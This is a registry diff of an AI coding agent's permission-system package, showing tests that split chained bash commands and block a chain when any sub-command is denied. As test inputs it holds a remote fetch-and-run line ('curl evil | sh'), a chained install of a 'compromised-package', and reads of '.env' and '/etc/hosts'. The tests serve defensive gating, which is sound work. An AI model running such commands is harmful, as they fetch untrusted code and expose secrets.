@gotgenes/pi-permission-system 8.3.2 → 9.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +35 -0
- package/package.json +1 -1
- package/src/handlers/gates/bash-command.ts +55 -0
- package/src/handlers/gates/bash-external-directory.ts +2 -1
- package/src/handlers/gates/bash-path-extractor.ts +9 -618
- package/src/handlers/gates/bash-path.ts +13 -7
- package/src/handlers/gates/bash-program.ts +727 -0
- package/src/handlers/gates/candidate-check.ts +32 -0
- package/src/handlers/lifecycle.ts +9 -0
- package/src/handlers/permission-gate-handler.ts +21 -8
- package/src/index.ts +30 -11
- package/src/permission-events.ts +3 -2
- package/src/service.ts +17 -4
- package/src/subagent-context.ts +28 -9
- package/test/composition-root.test.ts +398 -0
- package/test/handlers/gates/bash-command.test.ts +167 -0
- package/test/handlers/gates/bash-program.test.ts +107 -0
- package/test/handlers/gates/candidate-check.test.ts +52 -0
- package/test/handlers/lifecycle.test.ts +15 -2
- package/test/handlers/tool-call.test.ts +73 -0
- package/test/helpers/make-fake-pi.ts +95 -0
- package/test/permission-events.test.ts +32 -2
- package/test/permission-system.test.ts +16 -34
- package/test/service.test.ts +25 -6
- package/test/subagent-context.test.ts +40 -0
|
@@ -0,0 +1,167 @@
|
|
|
1
|
+
import { describe, expect, it, vi } from "vitest";
|
|
2
|
+
|
|
3
|
+
import { resolveBashCommandCheck } from "#src/handlers/gates/bash-command";
|
|
4
|
+
import type { Rule } from "#src/rule";
|
|
5
|
+
import type { PermissionCheckResult } from "#src/types";
|
|
6
|
+
|
|
7
|
+
import { makeCheckResult } from "#test/helpers/handler-fixtures";
|
|
8
|
+
|
|
9
|
+
type CheckPermissionFn = (
|
|
10
|
+
surface: string,
|
|
11
|
+
input: unknown,
|
|
12
|
+
agentName?: string,
|
|
13
|
+
sessionRules?: Rule[],
|
|
14
|
+
) => PermissionCheckResult;
|
|
15
|
+
|
|
16
|
+
/** Build a bash-surface check result for a single command unit. */
|
|
17
|
+
function bashResult(
|
|
18
|
+
state: PermissionCheckResult["state"],
|
|
19
|
+
command: string,
|
|
20
|
+
matchedPattern?: string,
|
|
21
|
+
): PermissionCheckResult {
|
|
22
|
+
return makeCheckResult({ state, source: "bash", command, matchedPattern });
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
describe("resolveBashCommandCheck", () => {
|
|
26
|
+
it("passes a single command straight through", async () => {
|
|
27
|
+
const decompose = vi.fn(async () => ["npm install pkg"]);
|
|
28
|
+
const checkPermission = vi
|
|
29
|
+
.fn<CheckPermissionFn>()
|
|
30
|
+
.mockReturnValue(bashResult("allow", "npm install pkg", "npm *"));
|
|
31
|
+
|
|
32
|
+
const result = await resolveBashCommandCheck(
|
|
33
|
+
"npm install pkg",
|
|
34
|
+
undefined,
|
|
35
|
+
[],
|
|
36
|
+
checkPermission,
|
|
37
|
+
decompose,
|
|
38
|
+
);
|
|
39
|
+
|
|
40
|
+
expect(result.state).toBe("allow");
|
|
41
|
+
expect(checkPermission).toHaveBeenCalledTimes(1);
|
|
42
|
+
expect(checkPermission).toHaveBeenCalledWith(
|
|
43
|
+
"bash",
|
|
44
|
+
{ command: "npm install pkg" },
|
|
45
|
+
undefined,
|
|
46
|
+
[],
|
|
47
|
+
);
|
|
48
|
+
});
|
|
49
|
+
|
|
50
|
+
it("denies the chain when any sub-command is denied, reporting that command's pattern", async () => {
|
|
51
|
+
const decompose = vi.fn(async () => ["cd /p", "npm install pkg"]);
|
|
52
|
+
const checkPermission = vi
|
|
53
|
+
.fn<CheckPermissionFn>()
|
|
54
|
+
.mockImplementation((_surface, input) => {
|
|
55
|
+
const command = (input as { command: string }).command;
|
|
56
|
+
return command.startsWith("npm")
|
|
57
|
+
? bashResult("deny", command, "npm *")
|
|
58
|
+
: bashResult("allow", command, "cd *");
|
|
59
|
+
});
|
|
60
|
+
|
|
61
|
+
const result = await resolveBashCommandCheck(
|
|
62
|
+
"cd /p && npm install pkg",
|
|
63
|
+
undefined,
|
|
64
|
+
[],
|
|
65
|
+
checkPermission,
|
|
66
|
+
decompose,
|
|
67
|
+
);
|
|
68
|
+
|
|
69
|
+
expect(result.state).toBe("deny");
|
|
70
|
+
expect(result.matchedPattern).toBe("npm *");
|
|
71
|
+
expect(result.command).toBe("npm install pkg");
|
|
72
|
+
});
|
|
73
|
+
|
|
74
|
+
it("asks when a sub-command asks and none denies", async () => {
|
|
75
|
+
const decompose = vi.fn(async () => ["cd /p", "git push"]);
|
|
76
|
+
const checkPermission = vi
|
|
77
|
+
.fn<CheckPermissionFn>()
|
|
78
|
+
.mockImplementation((_surface, input) => {
|
|
79
|
+
const command = (input as { command: string }).command;
|
|
80
|
+
return command.startsWith("git")
|
|
81
|
+
? bashResult("ask", command, "git *")
|
|
82
|
+
: bashResult("allow", command, "cd *");
|
|
83
|
+
});
|
|
84
|
+
|
|
85
|
+
const result = await resolveBashCommandCheck(
|
|
86
|
+
"cd /p && git push",
|
|
87
|
+
undefined,
|
|
88
|
+
[],
|
|
89
|
+
checkPermission,
|
|
90
|
+
decompose,
|
|
91
|
+
);
|
|
92
|
+
|
|
93
|
+
expect(result.state).toBe("ask");
|
|
94
|
+
expect(result.matchedPattern).toBe("git *");
|
|
95
|
+
expect(result.command).toBe("git push");
|
|
96
|
+
});
|
|
97
|
+
|
|
98
|
+
it("returns the first allow result when every sub-command is allowed", async () => {
|
|
99
|
+
const decompose = vi.fn(async () => ["a", "b"]);
|
|
100
|
+
const checkPermission = vi
|
|
101
|
+
.fn<CheckPermissionFn>()
|
|
102
|
+
.mockImplementation((_surface, input) => {
|
|
103
|
+
const command = (input as { command: string }).command;
|
|
104
|
+
return bashResult("allow", command, `${command} *`);
|
|
105
|
+
});
|
|
106
|
+
|
|
107
|
+
const result = await resolveBashCommandCheck(
|
|
108
|
+
"a && b",
|
|
109
|
+
undefined,
|
|
110
|
+
[],
|
|
111
|
+
checkPermission,
|
|
112
|
+
decompose,
|
|
113
|
+
);
|
|
114
|
+
|
|
115
|
+
expect(result.state).toBe("allow");
|
|
116
|
+
expect(result.matchedPattern).toBe("a *");
|
|
117
|
+
});
|
|
118
|
+
|
|
119
|
+
it("falls back to the whole command when no top-level commands are found", async () => {
|
|
120
|
+
const decompose = vi.fn(async () => []);
|
|
121
|
+
const checkPermission = vi
|
|
122
|
+
.fn<CheckPermissionFn>()
|
|
123
|
+
.mockReturnValue(bashResult("ask", "( rm x )", "*"));
|
|
124
|
+
|
|
125
|
+
const result = await resolveBashCommandCheck(
|
|
126
|
+
"( rm x )",
|
|
127
|
+
undefined,
|
|
128
|
+
[],
|
|
129
|
+
checkPermission,
|
|
130
|
+
decompose,
|
|
131
|
+
);
|
|
132
|
+
|
|
133
|
+
expect(result.state).toBe("ask");
|
|
134
|
+
expect(checkPermission).toHaveBeenCalledTimes(1);
|
|
135
|
+
expect(checkPermission).toHaveBeenCalledWith(
|
|
136
|
+
"bash",
|
|
137
|
+
{ command: "( rm x )" },
|
|
138
|
+
undefined,
|
|
139
|
+
[],
|
|
140
|
+
);
|
|
141
|
+
});
|
|
142
|
+
|
|
143
|
+
it("forwards the agent name and session rules to each sub-command check", async () => {
|
|
144
|
+
const sessionRules: Rule[] = [
|
|
145
|
+
{ surface: "bash", pattern: "npm *", action: "allow", origin: "session" },
|
|
146
|
+
];
|
|
147
|
+
const decompose = vi.fn(async () => ["npm i"]);
|
|
148
|
+
const checkPermission = vi
|
|
149
|
+
.fn<CheckPermissionFn>()
|
|
150
|
+
.mockReturnValue(bashResult("allow", "npm i"));
|
|
151
|
+
|
|
152
|
+
await resolveBashCommandCheck(
|
|
153
|
+
"npm i",
|
|
154
|
+
"agent-x",
|
|
155
|
+
sessionRules,
|
|
156
|
+
checkPermission,
|
|
157
|
+
decompose,
|
|
158
|
+
);
|
|
159
|
+
|
|
160
|
+
expect(checkPermission).toHaveBeenCalledWith(
|
|
161
|
+
"bash",
|
|
162
|
+
{ command: "npm i" },
|
|
163
|
+
"agent-x",
|
|
164
|
+
sessionRules,
|
|
165
|
+
);
|
|
166
|
+
});
|
|
167
|
+
});
|
|
@@ -0,0 +1,107 @@
|
|
|
1
|
+
import { describe, expect, it } from "vitest";
|
|
2
|
+
|
|
3
|
+
import { BashProgram } from "#src/handlers/gates/bash-program";
|
|
4
|
+
|
|
5
|
+
describe("BashProgram", () => {
|
|
6
|
+
describe("pathTokens", () => {
|
|
7
|
+
it("returns dot-files and relative path tokens", async () => {
|
|
8
|
+
const program = await BashProgram.parse("cat .env src/foo.ts");
|
|
9
|
+
expect(program.pathTokens()).toEqual([".env", "src/foo.ts"]);
|
|
10
|
+
});
|
|
11
|
+
|
|
12
|
+
it("returns an empty array when there are no path tokens", async () => {
|
|
13
|
+
const program = await BashProgram.parse("echo hello");
|
|
14
|
+
expect(program.pathTokens()).toEqual([]);
|
|
15
|
+
});
|
|
16
|
+
|
|
17
|
+
it("deduplicates repeated tokens across a command chain", async () => {
|
|
18
|
+
const program = await BashProgram.parse("cat .env && rm .env");
|
|
19
|
+
expect(program.pathTokens()).toEqual([".env"]);
|
|
20
|
+
});
|
|
21
|
+
});
|
|
22
|
+
|
|
23
|
+
describe("externalPaths", () => {
|
|
24
|
+
const cwd = "/projects/my-app";
|
|
25
|
+
|
|
26
|
+
it("returns absolute paths resolving outside cwd", async () => {
|
|
27
|
+
const program = await BashProgram.parse("cat /etc/hosts");
|
|
28
|
+
// Subset matcher: the path is normalized before comparison.
|
|
29
|
+
expect(program.externalPaths(cwd)).toContain("/etc/hosts");
|
|
30
|
+
});
|
|
31
|
+
|
|
32
|
+
it("excludes paths within cwd", async () => {
|
|
33
|
+
const program = await BashProgram.parse("cat src/index.ts");
|
|
34
|
+
expect(program.externalPaths(cwd)).toHaveLength(0);
|
|
35
|
+
});
|
|
36
|
+
});
|
|
37
|
+
|
|
38
|
+
describe("topLevelCommands", () => {
|
|
39
|
+
it("returns a single-element list for a lone command", async () => {
|
|
40
|
+
const program = await BashProgram.parse("npm install pkg");
|
|
41
|
+
expect(program.topLevelCommands()).toEqual(["npm install pkg"]);
|
|
42
|
+
});
|
|
43
|
+
|
|
44
|
+
it("splits an && chain", async () => {
|
|
45
|
+
const program = await BashProgram.parse("cd /p && npm i x");
|
|
46
|
+
expect(program.topLevelCommands()).toEqual(["cd /p", "npm i x"]);
|
|
47
|
+
});
|
|
48
|
+
|
|
49
|
+
it("splits || , ; and & separators", async () => {
|
|
50
|
+
expect((await BashProgram.parse("a || b")).topLevelCommands()).toEqual([
|
|
51
|
+
"a",
|
|
52
|
+
"b",
|
|
53
|
+
]);
|
|
54
|
+
expect((await BashProgram.parse("a ; b")).topLevelCommands()).toEqual([
|
|
55
|
+
"a",
|
|
56
|
+
"b",
|
|
57
|
+
]);
|
|
58
|
+
expect((await BashProgram.parse("a & b")).topLevelCommands()).toEqual([
|
|
59
|
+
"a",
|
|
60
|
+
"b",
|
|
61
|
+
]);
|
|
62
|
+
});
|
|
63
|
+
|
|
64
|
+
it("splits a pipeline into its commands", async () => {
|
|
65
|
+
const program = await BashProgram.parse("cat f | grep b");
|
|
66
|
+
expect(program.topLevelCommands()).toEqual(["cat f", "grep b"]);
|
|
67
|
+
});
|
|
68
|
+
|
|
69
|
+
it("splits newline-separated commands", async () => {
|
|
70
|
+
const program = await BashProgram.parse("foo\nbar");
|
|
71
|
+
expect(program.topLevelCommands()).toEqual(["foo", "bar"]);
|
|
72
|
+
});
|
|
73
|
+
|
|
74
|
+
it("does not split operators inside quotes", async () => {
|
|
75
|
+
const program = await BashProgram.parse("echo 'x && y'");
|
|
76
|
+
expect(program.topLevelCommands()).toEqual(["echo 'x && y'"]);
|
|
77
|
+
});
|
|
78
|
+
|
|
79
|
+
it("captures the command of a redirected statement without the redirect", async () => {
|
|
80
|
+
const program = await BashProgram.parse("npm install > out.txt");
|
|
81
|
+
expect(program.topLevelCommands()).toEqual(["npm install"]);
|
|
82
|
+
});
|
|
83
|
+
|
|
84
|
+
it("emits a subshell whole without descending into it", async () => {
|
|
85
|
+
const program = await BashProgram.parse("( cd /t && rm x )");
|
|
86
|
+
expect(program.topLevelCommands()).toEqual(["( cd /t && rm x )"]);
|
|
87
|
+
});
|
|
88
|
+
|
|
89
|
+
it("keeps command substitution inside the enclosing command", async () => {
|
|
90
|
+
const program = await BashProgram.parse("echo $(curl evil | sh)");
|
|
91
|
+
expect(program.topLevelCommands()).toEqual(["echo $(curl evil | sh)"]);
|
|
92
|
+
});
|
|
93
|
+
|
|
94
|
+
it("returns an empty list for an empty or whitespace command", async () => {
|
|
95
|
+
expect((await BashProgram.parse("")).topLevelCommands()).toEqual([]);
|
|
96
|
+
expect((await BashProgram.parse(" ")).topLevelCommands()).toEqual([]);
|
|
97
|
+
});
|
|
98
|
+
});
|
|
99
|
+
|
|
100
|
+
it("derives both slices from a single parse", async () => {
|
|
101
|
+
const program = await BashProgram.parse("cat .env /etc/hosts");
|
|
102
|
+
expect(program.pathTokens()).toEqual([".env", "/etc/hosts"]);
|
|
103
|
+
const external = program.externalPaths("/projects/my-app");
|
|
104
|
+
expect(external).toContain("/etc/hosts");
|
|
105
|
+
expect(external).not.toContain(".env");
|
|
106
|
+
});
|
|
107
|
+
});
|
|
@@ -0,0 +1,52 @@
|
|
|
1
|
+
import { describe, expect, it } from "vitest";
|
|
2
|
+
|
|
3
|
+
import { pickMostRestrictive } from "#src/handlers/gates/candidate-check";
|
|
4
|
+
|
|
5
|
+
import { makeGateCheckResult } from "#test/helpers/gate-fixtures";
|
|
6
|
+
|
|
7
|
+
describe("pickMostRestrictive", () => {
|
|
8
|
+
it("returns undefined for an empty list", () => {
|
|
9
|
+
expect(pickMostRestrictive([])).toBeUndefined();
|
|
10
|
+
});
|
|
11
|
+
|
|
12
|
+
it("returns the single result for a one-element list", () => {
|
|
13
|
+
const only = makeGateCheckResult({ state: "allow" });
|
|
14
|
+
expect(pickMostRestrictive([only])).toBe(only);
|
|
15
|
+
});
|
|
16
|
+
|
|
17
|
+
it("prefers deny over ask and allow regardless of position", () => {
|
|
18
|
+
const allow = makeGateCheckResult({ state: "allow", matchedPattern: "a" });
|
|
19
|
+
const ask = makeGateCheckResult({ state: "ask", matchedPattern: "b" });
|
|
20
|
+
const deny = makeGateCheckResult({ state: "deny", matchedPattern: "c" });
|
|
21
|
+
expect(pickMostRestrictive([allow, ask, deny])).toBe(deny);
|
|
22
|
+
expect(pickMostRestrictive([deny, ask, allow])).toBe(deny);
|
|
23
|
+
});
|
|
24
|
+
|
|
25
|
+
it("prefers ask over allow when no deny is present", () => {
|
|
26
|
+
const allow = makeGateCheckResult({ state: "allow" });
|
|
27
|
+
const ask = makeGateCheckResult({ state: "ask" });
|
|
28
|
+
expect(pickMostRestrictive([allow, ask])).toBe(ask);
|
|
29
|
+
});
|
|
30
|
+
|
|
31
|
+
it("keeps the first deny on ties", () => {
|
|
32
|
+
const deny1 = makeGateCheckResult({
|
|
33
|
+
state: "deny",
|
|
34
|
+
matchedPattern: "first",
|
|
35
|
+
});
|
|
36
|
+
const deny2 = makeGateCheckResult({
|
|
37
|
+
state: "deny",
|
|
38
|
+
matchedPattern: "second",
|
|
39
|
+
});
|
|
40
|
+
expect(pickMostRestrictive([deny1, deny2])).toBe(deny1);
|
|
41
|
+
});
|
|
42
|
+
|
|
43
|
+
it("keeps the first ask on ties when no deny is present", () => {
|
|
44
|
+
const allow = makeGateCheckResult({ state: "allow" });
|
|
45
|
+
const ask1 = makeGateCheckResult({ state: "ask", matchedPattern: "first" });
|
|
46
|
+
const ask2 = makeGateCheckResult({
|
|
47
|
+
state: "ask",
|
|
48
|
+
matchedPattern: "second",
|
|
49
|
+
});
|
|
50
|
+
expect(pickMostRestrictive([allow, ask1, ask2])).toBe(ask1);
|
|
51
|
+
});
|
|
52
|
+
});
|
|
@@ -36,12 +36,18 @@ function makeHandler(
|
|
|
36
36
|
): {
|
|
37
37
|
handler: SessionLifecycleHandler;
|
|
38
38
|
session: PermissionSession;
|
|
39
|
+
activateService: ReturnType<typeof vi.fn>;
|
|
39
40
|
cleanupRpc: ReturnType<typeof vi.fn>;
|
|
40
41
|
} {
|
|
41
42
|
const session = makeSession(overrides);
|
|
43
|
+
const activateService = vi.fn();
|
|
42
44
|
const cleanupRpc = vi.fn();
|
|
43
|
-
const handler = new SessionLifecycleHandler(
|
|
44
|
-
|
|
45
|
+
const handler = new SessionLifecycleHandler(
|
|
46
|
+
session,
|
|
47
|
+
activateService,
|
|
48
|
+
cleanupRpc,
|
|
49
|
+
);
|
|
50
|
+
return { handler, session, activateService, cleanupRpc };
|
|
45
51
|
}
|
|
46
52
|
|
|
47
53
|
// ── handleSessionStart ─────────────────────────────────────────────────────
|
|
@@ -106,6 +112,13 @@ describe("handleSessionStart", () => {
|
|
|
106
112
|
expect(session.logger.debug).not.toHaveBeenCalled();
|
|
107
113
|
});
|
|
108
114
|
|
|
115
|
+
it("activates the service for the session with ctx", async () => {
|
|
116
|
+
const ctx = makeCtx();
|
|
117
|
+
const { handler, activateService } = makeHandler();
|
|
118
|
+
await handler.handleSessionStart({ reason: "startup" }, ctx);
|
|
119
|
+
expect(activateService).toHaveBeenCalledWith(ctx);
|
|
120
|
+
});
|
|
121
|
+
|
|
109
122
|
it("calls refreshConfig before resetForNewSession", async () => {
|
|
110
123
|
const callOrder: string[] = [];
|
|
111
124
|
const { handler } = makeHandler({
|
|
@@ -287,3 +287,76 @@ describe("handleToolCall — bash path gate", () => {
|
|
|
287
287
|
expect(result).toMatchObject({ block: true });
|
|
288
288
|
});
|
|
289
289
|
});
|
|
290
|
+
|
|
291
|
+
// ── bash command chain gate ───────────────────────────────────────────────
|
|
292
|
+
|
|
293
|
+
describe("handleToolCall — bash command chain gate", () => {
|
|
294
|
+
it("blocks a chain when a later sub-command is denied (#301)", async () => {
|
|
295
|
+
const checkPermission = vi
|
|
296
|
+
.fn()
|
|
297
|
+
.mockImplementation((surface: string, input: unknown) => {
|
|
298
|
+
if (surface === "bash") {
|
|
299
|
+
const command = (input as { command?: string }).command ?? "";
|
|
300
|
+
return /^npm\b/.test(command)
|
|
301
|
+
? makeCheckResult({
|
|
302
|
+
state: "deny",
|
|
303
|
+
source: "bash",
|
|
304
|
+
command,
|
|
305
|
+
matchedPattern: "npm *",
|
|
306
|
+
})
|
|
307
|
+
: makeCheckResult({
|
|
308
|
+
state: "allow",
|
|
309
|
+
source: "bash",
|
|
310
|
+
command,
|
|
311
|
+
matchedPattern: "echo *",
|
|
312
|
+
});
|
|
313
|
+
}
|
|
314
|
+
return makeCheckResult({ state: "allow" });
|
|
315
|
+
});
|
|
316
|
+
const { handler } = makeHandler({
|
|
317
|
+
session: { checkPermission },
|
|
318
|
+
toolRegistry: {
|
|
319
|
+
getAll: vi.fn().mockReturnValue([{ name: "bash" }]),
|
|
320
|
+
},
|
|
321
|
+
});
|
|
322
|
+
const event = {
|
|
323
|
+
type: "tool_call",
|
|
324
|
+
toolCallId: "tc-bash-chain",
|
|
325
|
+
name: "bash",
|
|
326
|
+
input: { command: "echo start && npm install compromised-package" },
|
|
327
|
+
};
|
|
328
|
+
const result = await handler.handleToolCall(event, makeCtx());
|
|
329
|
+
expect(result).toMatchObject({ block: true });
|
|
330
|
+
});
|
|
331
|
+
|
|
332
|
+
it("allows a single non-chained bash command", async () => {
|
|
333
|
+
const checkPermission = vi
|
|
334
|
+
.fn()
|
|
335
|
+
.mockImplementation((surface: string, input: unknown) => {
|
|
336
|
+
if (surface === "bash") {
|
|
337
|
+
const command = (input as { command?: string }).command ?? "";
|
|
338
|
+
return makeCheckResult({
|
|
339
|
+
state: "allow",
|
|
340
|
+
source: "bash",
|
|
341
|
+
command,
|
|
342
|
+
matchedPattern: "echo *",
|
|
343
|
+
});
|
|
344
|
+
}
|
|
345
|
+
return makeCheckResult({ state: "allow" });
|
|
346
|
+
});
|
|
347
|
+
const { handler } = makeHandler({
|
|
348
|
+
session: { checkPermission },
|
|
349
|
+
toolRegistry: {
|
|
350
|
+
getAll: vi.fn().mockReturnValue([{ name: "bash" }]),
|
|
351
|
+
},
|
|
352
|
+
});
|
|
353
|
+
const event = {
|
|
354
|
+
type: "tool_call",
|
|
355
|
+
toolCallId: "tc-bash-single",
|
|
356
|
+
name: "bash",
|
|
357
|
+
input: { command: "echo hi" },
|
|
358
|
+
};
|
|
359
|
+
const result = await handler.handleToolCall(event, makeCtx());
|
|
360
|
+
expect(result).toEqual({});
|
|
361
|
+
});
|
|
362
|
+
});
|
|
@@ -0,0 +1,95 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* `makeFakePi()` — a composition-root test harness.
|
|
3
|
+
*
|
|
4
|
+
* Lets a test run the real `piPermissionSystemExtension(pi)` factory and then
|
|
5
|
+
* introspect and drive the result. Unlike the per-handler unit fixtures in
|
|
6
|
+
* `handler-fixtures.ts` (which inject collaborators), this harness exercises the
|
|
7
|
+
* factory itself — the wiring layer where registration completeness, shared-
|
|
8
|
+
* instance contracts, teardown, and event ordering live.
|
|
9
|
+
*
|
|
10
|
+
* It provides:
|
|
11
|
+
* - `events` — a real `createEventBus()` so cross-extension pub/sub and RPC
|
|
12
|
+
* behave as in production (tests can inject a shared bus to model parent/child
|
|
13
|
+
* instances).
|
|
14
|
+
* - `handlers` — every `pi.on(event, handler)` registration, keyed by event
|
|
15
|
+
* name, so a test can assert completeness and fire handlers.
|
|
16
|
+
* - `commands` — every `pi.registerCommand(name, …)` registration.
|
|
17
|
+
* - `fire(event, input, ctx)` — drive a registered handler; resolves to its
|
|
18
|
+
* (possibly async) result.
|
|
19
|
+
*
|
|
20
|
+
* The harness object is cast to `ExtensionAPI` at the call to the factory; the
|
|
21
|
+
* `FakePi` interface itself stays narrow (ISP — only what the factory touches).
|
|
22
|
+
*/
|
|
23
|
+
import { createEventBus, type EventBus } from "@earendil-works/pi-coding-agent";
|
|
24
|
+
import { vi } from "vitest";
|
|
25
|
+
|
|
26
|
+
/** A handler recorded by `pi.on(...)`, kept generic over event/result shapes. */
|
|
27
|
+
export type RecordedHandler = (event: unknown, ctx: unknown) => unknown;
|
|
28
|
+
|
|
29
|
+
export interface FakePi {
|
|
30
|
+
/** Real event bus so cross-extension pub/sub and RPC behave as in production. */
|
|
31
|
+
events: EventBus;
|
|
32
|
+
/** Every `pi.on(event, handler)` registration, keyed by event name. */
|
|
33
|
+
handlers: Map<string, RecordedHandler>;
|
|
34
|
+
/** Every `pi.registerCommand(name, …)` registration, keyed by command name. */
|
|
35
|
+
commands: Map<string, unknown>;
|
|
36
|
+
/**
|
|
37
|
+
* Drive a registered handler; resolves to its (possibly async) result.
|
|
38
|
+
*
|
|
39
|
+
* Throws if no handler is registered for `event` so a typo in a test surfaces
|
|
40
|
+
* loudly instead of silently resolving to `undefined`.
|
|
41
|
+
*/
|
|
42
|
+
fire(event: string, input?: unknown, ctx?: unknown): Promise<unknown>;
|
|
43
|
+
/** Minimal tool registry — returns the configured tool names. */
|
|
44
|
+
getAllTools(): { name: string }[];
|
|
45
|
+
setActiveTools(names: string[]): void;
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
export interface MakeFakePiOptions {
|
|
49
|
+
/** Inject a shared bus to model parent/child instances; defaults to a fresh bus. */
|
|
50
|
+
events?: EventBus;
|
|
51
|
+
/** Tool names returned by `getAllTools()`; defaults to a small set. */
|
|
52
|
+
toolNames?: readonly string[];
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
const DEFAULT_TOOL_NAMES = ["read", "write", "edit", "bash", "ls", "grep"];
|
|
56
|
+
|
|
57
|
+
/**
|
|
58
|
+
* Build a fake `ExtensionAPI` for composition-root tests.
|
|
59
|
+
*
|
|
60
|
+
* The returned object is structurally a `FakePi`; pass it to the factory as
|
|
61
|
+
* `piPermissionSystemExtension(pi as unknown as ExtensionAPI)`.
|
|
62
|
+
*/
|
|
63
|
+
export function makeFakePi(options: MakeFakePiOptions = {}): FakePi {
|
|
64
|
+
const events = options.events ?? createEventBus();
|
|
65
|
+
const toolNames = options.toolNames ?? DEFAULT_TOOL_NAMES;
|
|
66
|
+
const handlers = new Map<string, RecordedHandler>();
|
|
67
|
+
const commands = new Map<string, unknown>();
|
|
68
|
+
|
|
69
|
+
return {
|
|
70
|
+
events,
|
|
71
|
+
handlers,
|
|
72
|
+
commands,
|
|
73
|
+
fire(event, input, ctx): Promise<unknown> {
|
|
74
|
+
const handler = handlers.get(event);
|
|
75
|
+
if (!handler) {
|
|
76
|
+
throw new Error(`No handler registered for event "${event}"`);
|
|
77
|
+
}
|
|
78
|
+
return Promise.resolve(handler(input, ctx));
|
|
79
|
+
},
|
|
80
|
+
getAllTools(): { name: string }[] {
|
|
81
|
+
return toolNames.map((name) => ({ name }));
|
|
82
|
+
},
|
|
83
|
+
setActiveTools: vi.fn(),
|
|
84
|
+
// ── ExtensionAPI methods the factory touches (recorded) ────────────────
|
|
85
|
+
on(event: string, handler: RecordedHandler): void {
|
|
86
|
+
handlers.set(event, handler);
|
|
87
|
+
},
|
|
88
|
+
registerCommand(name: string, optionsArg: unknown): void {
|
|
89
|
+
commands.set(name, optionsArg);
|
|
90
|
+
},
|
|
91
|
+
// ── ExtensionAPI methods present for the cast but unused by the factory ─
|
|
92
|
+
registerProvider: vi.fn(),
|
|
93
|
+
exec: vi.fn(),
|
|
94
|
+
} as FakePi & Record<string, unknown>;
|
|
95
|
+
}
|
|
@@ -279,10 +279,18 @@ describe("piPermissionSystemExtension ready event wiring", () => {
|
|
|
279
279
|
rmSync(baseDir, { recursive: true, force: true });
|
|
280
280
|
});
|
|
281
281
|
|
|
282
|
-
it("emits permissions:ready with protocolVersion
|
|
282
|
+
it("emits permissions:ready with protocolVersion at session_start", async () => {
|
|
283
283
|
const emitSpy = vi.fn();
|
|
284
|
+
const handlers = new Map<
|
|
285
|
+
string,
|
|
286
|
+
(event: unknown, ctx: unknown) => unknown
|
|
287
|
+
>();
|
|
284
288
|
piPermissionSystemExtension({
|
|
285
|
-
on: vi.fn(
|
|
289
|
+
on: vi.fn(
|
|
290
|
+
(event: string, handler: (e: unknown, c: unknown) => unknown) => {
|
|
291
|
+
handlers.set(event, handler);
|
|
292
|
+
},
|
|
293
|
+
),
|
|
286
294
|
registerCommand: vi.fn(),
|
|
287
295
|
getAllTools: vi.fn().mockReturnValue([]),
|
|
288
296
|
setActiveTools: vi.fn(),
|
|
@@ -290,6 +298,28 @@ describe("piPermissionSystemExtension ready event wiring", () => {
|
|
|
290
298
|
events: { emit: emitSpy, on: vi.fn().mockReturnValue(() => undefined) },
|
|
291
299
|
} as never);
|
|
292
300
|
|
|
301
|
+
// ready is not emitted at load — only after session_start publishes.
|
|
302
|
+
expect(
|
|
303
|
+
emitSpy.mock.calls.filter(([c]) => c === PERMISSIONS_READY_CHANNEL),
|
|
304
|
+
).toHaveLength(0);
|
|
305
|
+
|
|
306
|
+
const ctx = {
|
|
307
|
+
cwd: baseDir,
|
|
308
|
+
hasUI: false,
|
|
309
|
+
sessionManager: {
|
|
310
|
+
getEntries: (): unknown[] => [],
|
|
311
|
+
getSessionId: (): string => "top-session",
|
|
312
|
+
getSessionDir: (): string => baseDir,
|
|
313
|
+
},
|
|
314
|
+
ui: {
|
|
315
|
+
notify: (): void => {},
|
|
316
|
+
setStatus: (): void => {},
|
|
317
|
+
select: async (): Promise<string | undefined> => undefined,
|
|
318
|
+
input: async (): Promise<string | undefined> => undefined,
|
|
319
|
+
},
|
|
320
|
+
};
|
|
321
|
+
await handlers.get("session_start")?.({ reason: "start" }, ctx);
|
|
322
|
+
|
|
293
323
|
const readyCalls = emitSpy.mock.calls.filter(
|
|
294
324
|
([channel]) => channel === PERMISSIONS_READY_CHANNEL,
|
|
295
325
|
);
|